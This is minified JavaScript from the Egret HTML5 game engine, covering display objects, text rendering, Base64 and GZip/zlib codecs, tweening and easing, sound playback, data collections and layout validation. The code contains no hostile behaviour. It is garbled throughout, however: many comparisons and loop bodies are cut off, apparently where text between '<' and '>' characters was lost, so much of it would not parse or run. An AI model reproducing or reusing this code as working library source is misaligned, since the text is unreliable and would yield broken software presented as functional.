a(){d.call(this)}__extends(a,d);Object.defineProperty(a.prototype,"graphics",{get:function(){this._graphics||(this._graphics=new c.Graphics);return this._graphics},enumerable:!0,configurable:!0});a.prototype._render=function(b){this._graphics&&this._graphics._draw(b);d.prototype._render.call(this,b)};return a}(c.DisplayObjectContainer);c.Sprite=e})(egret||(egret={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this._textDirty=!0;this._fontFamily="Arial";this._size=30;this._textColorString="#FFFFFF";this._textColor=16777215;this._strokeColorString="#000000";this._stroke=this._strokeColor=0;this._textAlign="left";this._verticalAlign="top";this._numLines=this._lineSpacing=0;this.measuredWidths=[]}__extends(a,d);Object.defineProperty(a.prototype,"text",{get:function(){return this._text},set:function(b){this._text!=b&&(this._textDirty=!0,this._text=b)}, enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"fontFamily",{get:function(){return this._fontFamily},set:function(b){this._fontFamily!=b&&(this._textDirty=!0,this._fontFamily=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"size",{get:function(){return this._size},set:function(b){this._size!=b&&(this._textDirty=!0,this._size=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"italic",{get:function(){return this._italic},set:function(b){this._italic!= b&&(this._textDirty=!0,this._italic=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"bold",{get:function(){return this._bold},set:function(b){this._bold!=b&&(this._textDirty=!0,this._bold=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"textColor",{get:function(){return this._textColor},set:function(b){this._textColor!=b&&(this._textDirty=!0,this._textColor=b,this._textColorString=c.toColorString(b))},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype, "strokeColor",{get:function(){return this._strokeColor},set:function(b){this._strokeColor!=b&&(this._textDirty=!0,this._strokeColor=b,this._strokeColorString=c.toColorString(b))},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"stroke",{get:function(){return this._stroke},set:function(b){this._stroke!=b&&(this._textDirty=!0,this._stroke=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"textAlign",{get:function(){return this._textAlign},set:function(b){this._textAlign!= b&&(this._textDirty=!0,this._textAlign=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"verticalAlign",{get:function(){return this._verticalAlign},set:function(b){this._verticalAlign!=b&&(this._textDirty=!0,this._verticalAlign=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"lineSpacing",{get:function(){return this._lineSpacing},set:function(b){this._lineSpacing!=b&&(this._textDirty=!0,this._lineSpacing=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype, "numLines",{get:function(){return this._numLines},enumerable:!0,configurable:!0});a.prototype._render=function(b){this.drawText(b,!1);this._textDirty=!1};a.prototype._measureBounds=function(){return this.drawText(c.MainContext.instance.rendererContext,!0)};a.prototype.drawText=function(b,a){var d=this.getTextLines(b);if(!d)return c.Rectangle.identity.initialize(0,0,0,0);var e=d.length,f=0.5*this._size,g=this._size+this._lineSpacing,l=e*g-this._lineSpacing;this._textHeight=l;var n=this._explicitHeight; if(this._hasHeightSet&&lg){for(var q="",r=0,s=n.length,z=0;zg&&(0==r?(a.splice(l,0,A),c[l]=p,e>4,a=(a&15)<<4|h>>2,b=(h&3)<<6|m,e.push(String.fromCharCode(d)),64!=h&&e.push(String.fromCharCode(a)),64!=m&&e.push(String.fromCharCode(b));return e=e.join("")}; egret.Codec.Base64.decodeAsArray=function(c,e){var d=this.decode(c),a=[],b,h,m;b=0;for(m=d.length/e;b>=1;0==this.bb&&(this.bb=this.readByte(),c=this.bb&1,this.bb=this.bb>>1|128);return c};egret.Codec.GZip.prototype.readBits=function(c){for(var e=0,d=c;d--;)e=e<<1|this.readBit();c&&(e=egret.Codec.GZip.bitReverse[e]>>8-c);return e};egret.Codec.GZip.prototype.flushBuffer=function(){this.bIdx=0}; egret.Codec.GZip.prototype.addBuffer=function(c){this.buf32k[this.bIdx++]=c;this.outputArr.push(String.fromCharCode(c));32768==this.bIdx&&(this.bIdx=0)};egret.Codec.GZip.prototype.IsPat=function(){for(;;){if(this.fpos[this.len]>=this.fmax)return-1;if(this.flens[this.fpos[this.len]]==this.len)return this.fpos[this.len]++;this.fpos[this.len]++}}; egret.Codec.GZip.prototype.Rec=function(){var c=this.Places[this.treepos],e;if(17==this.len)return-1;this.treepos++;this.len++;e=this.IsPat();if(0<=e)c.b0=e;else if(c.b0=32768,this.Rec())return-1;e=this.IsPat();if(0<=e)c.b1=e,c.jump=null;else if(c.b1=32768,c.jump=this.Places[this.treepos],c.jumppos=this.treepos,this.Rec())return-1;this.len--;return 0}; egret.Codec.GZip.prototype.CreateTree=function(c,e,d,a){this.Places=c;this.treepos=0;this.flens=d;this.fmax=e;for(c=0;17>c;c++)this.fpos[c]=0;this.len=0;return this.Rec()?-1:0};egret.Codec.GZip.prototype.DecodeValue=function(c){for(var e,d,a=0,b=c[a];;)if(e=this.readBit()){if(!(b.b1&32768))return b.b1;b=b.jump;e=c.length;for(d=0;d>1,23d)this.addBuffer(d); else if(256==d)break;else{var h;d-=257;b=this.readBits(egret.Codec.GZip.cplext[d])+egret.Codec.GZip.cplens[d];d=egret.Codec.GZip.bitReverse[this.readBits(5)]>>3;8d;d++)m[d]=0;for(d=0;dd)m[a++]=d;else if(16==d){var f;d=3+this.readBits(2);if(a+d>b)return this.flushBuffer(),1;for(f=a?m[a-1]:0;d--;)m[a++]=f}else{d=17==d?3+this.readBits(3):11+this.readBits(7);if(a+ d>b)return this.flushBuffer(),1;for(;d--;)m[a++]=0}b=this.literalTree.length;for(a=0;a>>0}a=1;c=0;for(var h=b.length,d,m=0;0>>0}function a(b,a){this.index="number"===typeof a?a:0; this.i=0;this.buffer=b instanceof(t?Uint8Array:Array)?b:new (t?Uint8Array:Array)(32768);2*this.buffer.length<=this.index&&c(Error("invalid index"));this.buffer.length<=this.index&&this.f()}function b(b){this.buffer=new (t?Uint16Array:Array)(2*b);this.length=0}function h(b){var a=b.length,c=0,h=Number.POSITIVE_INFINITY,d,m,e,k,f,g,l,p,r;for(p=0;pc&&(c=b[p]),b[p]>=1;for(r=g;r=b:return[265,b-11,1];case 14>=b:return[266,b-13,1];case 16>=b:return[267,b-15,1];case 18>=b:return[268,b-17,1];case 22>=b:return[269,b-19,2];case 26>=b:return[270,b-23,2];case 30>=b:return[271,b-27,2];case 34>=b:return[272,b-31,2];case 42>=b:return[273,b-35,3];case 50>= b:return[274,b-43,3];case 58>=b:return[275,b-51,3];case 66>=b:return[276,b-59,3];case 82>=b:return[277,b-67,4];case 98>=b:return[278,b-83,4];case 114>=b:return[279,b-99,4];case 130>=b:return[280,b-115,4];case 162>=b:return[281,b-131,5];case 194>=b:return[282,b-163,5];case 226>=b:return[283,b-195,5];case 257>=b:return[284,b-227,5];case 258===b:return[285,b-258,0];default:c("invalid length: "+b)}}function g(b,a){function h(b,a){var d=b.G,e=[],m=0,k;k=M[b.length];e[m++]=k&65535;e[m++]=k>>16&255;e[m++]= k>>24;var f;switch(B){case 1===d:f=[0,d-1,0];break;case 2===d:f=[1,d-2,0];break;case 3===d:f=[2,d-3,0];break;case 4===d:f=[3,d-4,0];break;case 6>=d:f=[4,d-5,1];break;case 8>=d:f=[5,d-7,1];break;case 12>=d:f=[6,d-9,2];break;case 16>=d:f=[7,d-13,2];break;case 24>=d:f=[8,d-17,3];break;case 32>=d:f=[9,d-25,3];break;case 48>=d:f=[10,d-33,4];break;case 64>=d:f=[11,d-49,4];break;case 96>=d:f=[12,d-65,5];break;case 128>=d:f=[13,d-97,5];break;case 192>=d:f=[14,d-129,6];break;case 256>=d:f=[15,d-193,6];break; case 384>=d:f=[16,d-257,7];break;case 512>=d:f=[17,d-385,7];break;case 768>=d:f=[18,d-513,8];break;case 1024>=d:f=[19,d-769,8];break;case 1536>=d:f=[20,d-1025,9];break;case 2048>=d:f=[21,d-1537,9];break;case 3072>=d:f=[22,d-2049,10];break;case 4096>=d:f=[23,d-3073,10];break;case 6144>=d:f=[24,d-4097,11];break;case 8192>=d:f=[25,d-6145,11];break;case 12288>=d:f=[26,d-8193,12];break;case 16384>=d:f=[27,d-12289,12];break;case 24576>=d:f=[28,d-16385,13];break;case 32768>=d:f=[29,d-24577,13];break;default:c("invalid distance")}k= f;e[m++]=k[0];e[m++]=k[1];e[m++]=k[2];d=0;for(m=e.length;d=e;)n[e++]=0;for(e=0;29>=e;)w[e++]=0}n[256]=1;d=0;for(m=a.length;d=m){p&&h(p,-1);e=0; for(f=m-d;eE&&d+ED&&(g=f,D=E);if(258===E)break}f=new k(D,d-g);p?p.length2*f[w-1]+e[w]&&(f[w]=2*f[w-1]+e[w]),g[w]=Array(f[w]),r[w]=Array(f[w]);for(s=0;sk[s]?(g[w][n]=z,r[w][n]=l,v+=2):(g[w][n]=k[s], r[w][n]=s,++s);q[w]=0;1===e[w]&&h(w)}k=p;f=0;for(g=d.length;f1<e&&c("undercommitted");m=0;for(k=b.length;m>>=1;return a}function p(b,a){this.input=b;this.a=new (t?Uint8Array:Array)(32768);this.h= J.j;var c={},h;!a&&(a={})||"number"!==typeof a.compressionType||(this.h=a.compressionType);for(h in a)c[h]=a[h];c.outputBuffer=this.a;this.z=new m(this.input,c)}function q(b,a){this.k=[];this.l=32768;this.e=this.g=this.c=this.q=0;this.input=t?new Uint8Array(b):b;this.s=!1;this.m=F;this.B=!1;if(a||!(a={}))a.index&&(this.c=a.index),a.bufferSize&&(this.l=a.bufferSize),a.bufferType&&(this.m=a.bufferType),a.resize&&(this.B=a.resize);switch(this.m){case N:this.b=32768;this.a=new (t?Uint8Array:Array)(32768+ this.l+258);break;case F:this.b=0;this.a=new (t?Uint8Array:Array)(this.l);this.f=this.J;this.t=this.H;this.o=this.I;break;default:c(Error("invalid inflate mode"))}}function r(b,a){for(var h=b.g,d=b.e,e=b.input,m=b.c,k;d>>a;b.e=d-a;b.c=m;return h&(1<>>16;b.g=h>>k;b.e= d-k;b.c=m;return e&65535}function z(b){function a(b,c,h){var d,e,m,k;for(k=0;k>>8&255]<<16|y[b>>>16&255]<<8|y[b>>>24&255])>>32-a:y[b]>>8-a);if(8>a+e)m=m<>a-c-1&1,8===++e&&(e=0,h[d++]=y[m],m=0,d===h.length&&(h=this.f())); h[d]=m;this.buffer=h;this.i=e;this.index=d};a.prototype.finish=function(){var b=this.buffer,a=this.index,c;0D;++D){for(var w=D,E=w,x=7,w=w>>>1;w;w>>>=1)E<<=1,E|=w&1,--x;u[D]=(E<>>0}var y=u,u=[0,1996959894,3993919788,2567524794,124634137,1886057615,3915621685,2657392035,249268274,2044508324,3772115230,2547177864,162941995,2125561021,3887607047,2428444049, 498536548,1789927666,4089016648,2227061214,450548861,1843258603,4107580753,2211677639,325883990,1684777152,4251122042,2321926636,335633487,1661365465,4195302755,2366115317,997073096,1281953886,3579855332,2724688242,1006888145,1258607687,3524101629,2768942443,901097722,1119000684,3686517206,2898065728,853044451,1172266101,3705015759,2882616665,651767980,1373503546,3369554304,3218104598,565507253,1454621731,3485111705,3099436303,671266974,1594198024,3322730930,2970347812,795835527,1483230225,3244367275, 3060149565,1994146192,31158534,2563907772,4023717930,1907459465,112637215,2680153253,3904427059,2013776290,251722036,2517215374,3775830040,2137656763,141376813,2439277719,3865271297,1802195444,476864866,2238001368,4066508878,1812370925,453092731,2181625025,4111451223,1706088902,314042704,2344532202,4240017532,1658658271,366619977,2362670323,4224994405,1303535960,984961486,2747007092,3569037538,1256170817,1037604311,2765210733,3554079995,1131014506,879679996,2909243462,3663771856,1141124467,855842277, 2852801631,3708648649,1342533948,654459306,3188396048,3373015174,1466479909,544179635,3110523913,3462522015,1591671054,702138776,2966460450,3352799412,1504918807,783551873,3082640443,3233442989,3988292384,2596254646,62317068,1957810842,3939845945,2647816111,81470997,1943803523,3814918930,2489596804,225274430,2053790376,3826175755,2466906013,167816743,2097651377,4027552580,2265490386,503444072,1762050814,4150417245,2154129355,426522225,1852507879,4275313526,2312317920,282753626,1742555852,4189708143, 2394877945,397917763,1622183637,3604390888,2714866558,953729732,1340076626,3518719985,2797360999,1068828381,1219638859,3624741850,2936675148,906185462,1090812512,3747672003,2825379669,829329135,1181335161,3412177804,3160834842,628085408,1382605366,3423369109,3138078467,570562233,1426400815,3317316542,2998733608,733239954,1555261956,3268935591,3050360625,752459403,1541320221,2607071920,3965973030,1969922972,40735498,2617837225,3943577151,1913087877,83908371,2512341634,3803740692,2075208622,213261112, 2463272603,3855990285,2094854071,198958881,2262029012,4057260610,1759359992,534414190,2176718541,4139329115,1873836001,414664567,2282248934,4279200368,1711684554,285281116,2405801727,4167216745,1634467795,376229701,2685067896,3608007406,1308918612,956543938,2808555105,3495958263,1231636301,1047427035,2932959818,3654703836,1088359270,936918E3,2847714899,3736837829,1202900863,817233897,3183342108,3401237130,1404277552,615818150,3134207493,3453421203,1423857449,601450431,3009837614,3294710456,1567103746, 711928724,3020668471,3272380065,1510334235,755167117];t&&new Uint32Array(u);b.prototype.getParent=function(b){return 2*((b-2)/4|0)};b.prototype.push=function(b,a){var c,h,d=this.buffer,e;c=this.length;d[this.length++]=a;for(d[this.length++]=b;0d[h])e=d[c],d[c]=d[h],d[h]=e,e=d[c+1],d[c+1]=d[h+1],d[h+1]=e,c=h;else break;return this.length};b.prototype.pop=function(){var b,a,c=this.buffer,h,d,e;a=c[0];b=c[1];this.length-=2;c[0]=c[this.length];c[1]=c[this.length+1];for(e= 0;;){d=2*e+2;if(d>=this.length)break;d+2c[d]&&(d+=2);if(c[d]>c[e])h=c[e],c[e]=c[d],c[d]=h,h=c[e+1],c[e+1]=c[d+1],c[d+1]=h;else break;e=d}return{index:b,value:a,length:this.length}};var H=2,u={NONE:0,r:1,j:H,N:3},L=[];for(D=0;288>D;D++)switch(B){case 143>=D:L.push([D+48,8]);break;case 255>=D:L.push([D-144+400,9]);break;case 279>=D:L.push([D-256+0,7]);break;case 287>=D:L.push([D-280+192,8]);break;default:c("invalid literal: "+D)}m.prototype.n=function(){var b,h,d,e,m=this.input; switch(this.h){case 0:d=0;for(e=m.length;d>>8&255;r[q++]=p&255;r[q++]=p>>>8&255;if(t)r.set(h,q),q+=h.length,r=r.subarray(0,q);else{f=0;for(p=h.length;fy)for(;0y?y:138,F>y-3&&F=F?(C[G++]=17,C[G++]=F-3,E[17]++):(C[G++]=18,C[G++]=F-11,E[18]++),y-=F;else if(C[G++]= b[x],E[b[x]]++,y--,3>y)for(;0y?y:6,F>y-3&&Fx;x++)f[x]=E[A[x]];for(z=19;4=G;G++)w=f(),D[G]=w[2]<<24|w[1]<<16|w[0];var M=t?new Uint32Array(D):D,J=u;p.prototype.n=function(){var b,a,h,e,m=0;e=this.a;b=O;switch(b){case O:a=Math.LOG2E*Math.log(32768)-8;break;default:c(Error("invalid compression method"))}a= a<<4|b;e[m++]=a;switch(b){case O:switch(this.h){case J.NONE:h=0;break;case J.r:h=1;break;case J.j:h=2;break;default:c(Error("unsupported compression type"))}break;default:c(Error("invalid compression method"))}b=h<<6|0;e[m++]=b|31-(256*a+b)%31;b=d(this.input);this.z.b=m;e=this.z.n();m=e.length;t&&(e=new Uint8Array(e.buffer),e.length<=m+4&&(this.a=new Uint8Array(e.length+4),this.a.set(e),e=this.a),e=e.subarray(0,m+4));e[m++]=b>>24&255;e[m++]=b>>16&255;e[m++]=b>>8&255;e[m++]=b&255;return e};e("Zlib.Deflate", p);e("Zlib.Deflate.compress",function(b,a){return(new p(b,a)).n()});e("Zlib.Deflate.CompressionType",J);e("Zlib.Deflate.CompressionType.NONE",J.NONE);e("Zlib.Deflate.CompressionType.FIXED",J.r);e("Zlib.Deflate.CompressionType.DYNAMIC",J.j);var N=0,F=1,u={D:N,C:F};q.prototype.p=function(){for(;!this.s;){var b=r(this,3);b&1&&(this.s=B);b>>>=1;switch(b){case 0:var b=this.input,a=this.c,h=this.a,d=this.b,e=v,m=v,k=v,f=h.length,e=v;this.e=this.g=0;e=b[a++];e===v&&c(Error("invalid uncompressed block header: LEN (first byte)")); m=e;e=b[a++];e===v&&c(Error("invalid uncompressed block header: LEN (second byte)"));m|=e<<8;e=b[a++];e===v&&c(Error("invalid uncompressed block header: NLEN (first byte)"));k=e;e=b[a++];e===v&&c(Error("invalid uncompressed block header: NLEN (second byte)"));k|=e<<8;m===~k&&c(Error("invalid uncompressed block header: length verify"));a+m>b.length&&c(Error("input buffer is broken"));switch(this.m){case N:for(;d+m>h.length;){e=f-d;m-=e;if(t)h.set(b.subarray(a,a+e),d),d+=e,a+=e;else for(;e--;)h[d++]= b[a++];this.b=d;h=this.f();d=this.b}break;case F:for(;d+m>h.length;)h=this.f({v:2});break;default:c(Error("invalid inflate mode"))}if(t)h.set(b.subarray(a,a+m),d),d+=m,a+=m;else for(;m--;)h[d++]=b[a++];this.c=a;this.b=d;this.a=h;break;case 1:this.o(S,T);break;case 2:z(this);break;default:c(Error("unknown BTYPE: "+b))}}return this.t()};D=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];var K=t?new Uint16Array(D):D;D=[3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227, 258,258,258];var I=t?new Uint16Array(D):D;D=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,0,0];var P=t?new Uint8Array(D):D;D=[1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577];var R=t?new Uint16Array(D):D;D=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13];var Q=t?new Uint8Array(D):D;D=new (t?Uint8Array:Array)(288);w=0;for(E=D.length;w=w?8:255>=w?9:279>=w?7:8;var S=h(D);D=new (t?Uint8Array: Array)(30);w=0;for(E=D.length;we)h>=d&&(this.b=h,c=this.f(),h=this.b),c[h++]=e;else for(e-=257,k=I[e],0=d&&(this.b=h,c=this.f(),h=this.b);k--;)c[h]=c[h++-m];for(;8<=this.e;)this.e-=8,this.c--;this.b=h};q.prototype.I=function(b,a){var c=this.a,h=this.b;this.u=b;for(var d=c.length,e,m,k;256!== (e=s(this,b));)if(256>e)h>=d&&(c=this.f(),d=c.length),c[h++]=e;else for(e-=257,k=I[e],0d&&(c=this.f(),d=c.length);k--;)c[h]=c[h++-m];for(;8<=this.e;)this.e-=8,this.c--;this.b=h};q.prototype.f=function(){var b=new (t?Uint8Array:Array)(this.b-32768),a=this.b-32768,c,h,d=this.a;if(t)b.set(d.subarray(32768,b.length));else for(c=0,h=b.length;cc;++c)d[c]=d[a+c];this.b=32768;return d};q.prototype.J=function(b){var a,c=this.input.length/this.c+1|0,h,d,e,m=this.input,k=this.a;b&&("number"===typeof b.v&&(c=b.v),"number"===typeof b.F&&(c+=b.F));2>c?(h=(m.length-this.c)/this.u[2],e=h/2*258|0,d=ea&&(this.a.length=a),b=this.a);return this.buffer=b};A.prototype.p=function(){var b=this.input,a,h;a=this.A.p();this.c=this.A.c;this.M&&(h=(b[this.c++]<<24|b[this.c++]<< 16|b[this.c++]<<8|b[this.c++])>>>0,h!==d(a)&&c(Error("invalid adler-32 checksum")));return a};e("Zlib.Inflate",A);e("Zlib.Inflate.BufferType",u);u.ADAPTIVE=u.C;u.BLOCK=u.D;e("Zlib.Inflate.prototype.decompress",A.prototype.p);u=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];t&&new Uint16Array(u);u=[3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258,258,258];t&&new Uint16Array(u);u=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,0,0];t&&new Uint8Array(u); u=[1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577];t&&new Uint16Array(u);u=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13];t&&new Uint8Array(u);u=new (t?Uint8Array:Array)(288);D=0;for(w=u.length;D=D?8:255>=D?9:279>=D?7:8;h(u);u=new (t?Uint8Array:Array)(30);D=0;for(w=u.length;Db&&(b=0);var c=b,d=!1;c>=this.duration&&(this.loop?c%=this.duration:(c=this.duration,d=!0));if(c==this._prevPos)return d;var e=this._prevPos;this.position=this._prevPos=c;this._prevPosition=b;if(this._target)if(d)this._updateTargetProps(null,1);else if(0c);g++);g=this._steps[g-1];this._updateTargetProps(g,(this._stepPosition=c-g.t)/g.d)}0!=a&&0a&&(d=a, e=b,g=l,l=n=-1);for(;(g+=n)!=l;){a=this._actions[g];var p=a.t;(p==e||p>d&&p=b)return this;var c=this._cloneProps(this._curQueueProps);return this._addStep({d:b,p0:c,p1:c,v:a})};a.prototype.to=function(b,a,c){"undefined"===typeof c&&(c=void 0);if(isNaN(a)||0>a)a=0;return this._addStep({d:a||0,p0:this._cloneProps(this._curQueueProps),e:c,p1:this._cloneProps(this._appendQueueProps(b))})};a.prototype.call=function(b,a,c){"undefined"===typeof a&&(a=void 0);"undefined"===typeof c&&(c=void 0);return this._addAction({f:b,p:c?c:[this],o:a?a:this._target})}; a.prototype.set=function(b,a){"undefined"===typeof a&&(a=null);return this._addAction({f:this._set,o:this,p:[b,a?a:this._target]})};a.prototype.play=function(b){b||(b=this);return this.call(b.setPaused,[!1],b)};a.prototype.pause=function(b){b||(b=this);return this.call(b.setPaused,[!0],b)};a.prototype.tick=function(b){this.paused||this.setPosition(this._prevPosition+b)};a.NONE=0;a.LOOP=1;a.REVERSE=2;a._tweens=[];a.IGNORE={};a._plugins={};a._inited=!1;return a}(c.EventDispatcher);c.Tween=e})(egret|| (egret={})); (function(c){var e=function(){function d(){c.Logger.fatal("Ease\u4e0d\u80fd\u88ab\u5b9e\u4f8b\u5316")}d.get=function(a){-1>a&&(a=-1);1a?b*(b*-a+1+a):b*((2-b)*a+(1-a))}};d.getPowIn=function(a){return function(b){return Math.pow(b,a)}};d.getPowOut=function(a){return function(b){return 1-Math.pow(1-b,a)}};d.getPowInOut=function(a){return function(b){return 1>(b*=2)?0.5*Math.pow(b,a):1-0.5*Math.abs(Math.pow(2-b,a))}};d.sineIn=function(a){return 1-Math.cos(a* Math.PI/2)};d.sineOut=function(a){return Math.sin(a*Math.PI/2)};d.sineInOut=function(a){return-0.5*(Math.cos(Math.PI*a)-1)};d.getBackIn=function(a){return function(b){return b*b*((a+1)*b-a)}};d.getBackOut=function(a){return function(b){b-=1;return b*b*((a+1)*b+a)+1}};d.getBackInOut=function(a){a*=1.525;return function(b){return 1>(b*=2)?0.5*b*b*((a+1)*b-a):0.5*((b-=2)*b*((a+1)*b+a)+2)}};d.circIn=function(a){return-(Math.sqrt(1-a*a)-1)};d.circOut=function(a){return Math.sqrt(1-a*a)};d.circInOut=function(a){return 1> (a*=2)?-0.5*(Math.sqrt(1-a*a)-1):0.5*(Math.sqrt(1-(a-=2)*a)+1)};d.bounceIn=function(a){return 1-d.bounceOut(1-a)};d.bounceOut=function(a){return a<1/2.75?7.5625*a*a:a<2/2.75?7.5625*(a-=1.5/2.75)*a+0.75:a<2.5/2.75?7.5625*(a-=2.25/2.75)*a+0.9375:7.5625*(a-=2.625/2.75)*a+0.984375};d.bounceInOut=function(a){return 0.5>a?0.5*d.bounceIn(2*a):0.5*d.bounceOut(2*a-1)+0.5};d.getElasticIn=function(a,b){var c=2*Math.PI;return function(d){if(0==d||1==d)return d;var e=b/c*Math.asin(1/a);return-(a*Math.pow(2,10* (d-=1))*Math.sin((d-e)*c/b))}};d.getElasticOut=function(a,b){var c=2*Math.PI;return function(d){if(0==d||1==d)return d;var e=b/c*Math.asin(1/a);return a*Math.pow(2,-10*d)*Math.sin((d-e)*c/b)+1}};d.getElasticInOut=function(a,b){var c=2*Math.PI;return function(d){var e=b/c*Math.asin(1/a);return 1>(d*=2)?-0.5*a*Math.pow(2,10*(d-=1))*Math.sin((d-e)*c/b):a*Math.pow(2,-10*(d-=1))*Math.sin((d-e)*c/b)*0.5+1}};d.quadIn=d.getPowIn(2);d.quadOut=d.getPowOut(2);d.quadInOut=d.getPowInOut(2);d.cubicIn=d.getPowIn(3); d.cubicOut=d.getPowOut(3);d.cubicInOut=d.getPowInOut(3);d.quartIn=d.getPowIn(4);d.quartOut=d.getPowOut(4);d.quartInOut=d.getPowInOut(4);d.quintIn=d.getPowIn(5);d.quintOut=d.getPowOut(5);d.quintInOut=d.getPowInOut(5);d.backIn=d.getBackIn(1.7);d.backOut=d.getBackOut(1.7);d.backInOut=d.getBackInOut(1.7);d.elasticIn=d.getElasticIn(1,0.3);d.elasticOut=d.getElasticOut(1,0.3);d.elasticInOut=d.getElasticInOut(1,0.3*1.5);return d}();c.Ease=e})(egret||(egret={})); (function(c){var e=function(){function c(){}c.prototype.play=function(a){"undefined"===typeof a&&(a=!1);var b=this.audio;b&&(isNaN(b.duration)||(b.currentTime=0),b.loop=a,b.play())};c.prototype.pause=function(){var a=this.audio;a&&a.pause()};c.prototype.load=function(){var a=this.audio;a&&a.load()};c.prototype.addEventListener=function(a,b){this.audio&&this.audio.addEventListener(a,b,!1)};c.prototype.removeEventListener=function(a,b){this.audio&&this.audio.removeEventListener(a,b,!1)};c.prototype.setVolume= function(a){var b=this.audio;b&&(b.volume=a)};c.prototype.getVolume=function(){return this.audio?this.audio.volume:0};return c}();c.Sound=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(b){"undefined"===typeof b&&(b=null);d.call(this);this._source=b?b:[]}__extends(a,d);Object.defineProperty(a.prototype,"source",{get:function(){return this._source},set:function(b){b||(b=[]);this._source=b;this.dispatchCoEvent(c.CollectionEventKind.RESET)},enumerable:!0,configurable:!0});a.prototype.refresh=function(){this.dispatchCoEvent(c.CollectionEventKind.REFRESH)};a.prototype.contains=function(b){return-1!=this.getItemIndex(b)};a.prototype.checkIndex= function(b){if(0>b||b>=this._source.length)throw new RangeError('\u7d22\u5f15:"'+b+'"\u8d85\u51fa\u96c6\u5408\u5143\u7d20\u7d22\u5f15\u8303\u56f4');};Object.defineProperty(a.prototype,"length",{get:function(){return this._source.length},enumerable:!0,configurable:!0});a.prototype.addItem=function(b){this._source.push(b);this.dispatchCoEvent(c.CollectionEventKind.ADD,this._source.length-1,-1,[b])};a.prototype.addItemAt=function(b,a){if(0>a||a>this._source.length)throw new RangeError('\u7d22\u5f15:"'+ a+'"\u8d85\u51fa\u96c6\u5408\u5143\u7d20\u7d22\u5f15\u8303\u56f4');this._source.splice(a,0,b);this.dispatchCoEvent(c.CollectionEventKind.ADD,a,-1,[b])};a.prototype.getItemAt=function(b){return this._source[b]};a.prototype.getItemIndex=function(b){for(var a=this._source.length,c=0;c=c?this.addItemAt(b[d],d):this.replaceItemAt(b[d],d);this._source=b};a.prototype.moveItemAt=function(b,a){this.checkIndex(b);this.checkIndex(a);var d=this._source.splice(b,1)[0];this._source.splice(a,0,d);this.dispatchCoEvent(c.CollectionEventKind.MOVE,a,b,[d]);return d};a.prototype.dispatchCoEvent=function(b,a,d,e,f){"undefined"===typeof b&&(b=null);"undefined"===typeof a&&(a=-1);"undefined"===typeof d&&(d=-1);"undefined"===typeof e&&(e=null);"undefined"=== typeof f&&(f=null);c.CollectionEvent.dispatchCollectionEvent(this,c.CollectionEvent.COLLECTION_CHANGE,b,a,d,e,f)};return a}(c.EventDispatcher);c.ArrayCollection=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(b,a){"undefined"===typeof b&&(b="children");"undefined"===typeof a&&(a="parent");d.call(this);this.nodeList=[];this._openNodes=[];this._showRoot=!1;this.childrenKey=b;this.parentKey=a}__extends(a,d);Object.defineProperty(a.prototype,"source",{get:function(){return this._source},set:function(b){this._source=b;this._openNodes=[];this.nodeList=[];this._source&&(this._showRoot?this.nodeList.push(this._source):(this._openNodes=[this._source],this.addChildren(this._source, this.nodeList)));this.dispatchCoEvent(c.CollectionEventKind.RESET)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"openNodes",{get:function(){return this._openNodes.concat()},set:function(b){this._openNodes=b?b.concat():[];this.refresh()},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"length",{get:function(){return this.nodeList.length},enumerable:!0,configurable:!0});a.prototype.getItemAt=function(b){return this.nodeList[b]};a.prototype.getItemIndex=function(b){for(var a= this.nodeList.length,c=0;cb++;)this.doPhasedInstantiationCallBack()};a.prototype.validateClient=function(b,a){"undefined"===typeof a&&(a=!1);var d, e=!1,f=this.targetLevel;this.targetLevel==Number.MAX_VALUE&&(this.targetLevel=b.nestLevel);for(;!e;){e=!0;for(d=this.invalidatePropertiesQueue.removeSmallestChild(b);d;)d.parent&&(d.validateProperties(),d.updateCompletePendingFlag||(this.updateCompleteQueue.insert(d),d.updateCompletePendingFlag=!0)),d=this.invalidatePropertiesQueue.removeSmallestChild(b);this.invalidatePropertiesQueue.isEmpty()&&(this.invalidatePropertiesFlag=!1);this.invalidateClientPropertiesFlag=!1;for(d=this.invalidateSizeQueue.removeLargestChild(b);d;){d.parent&& 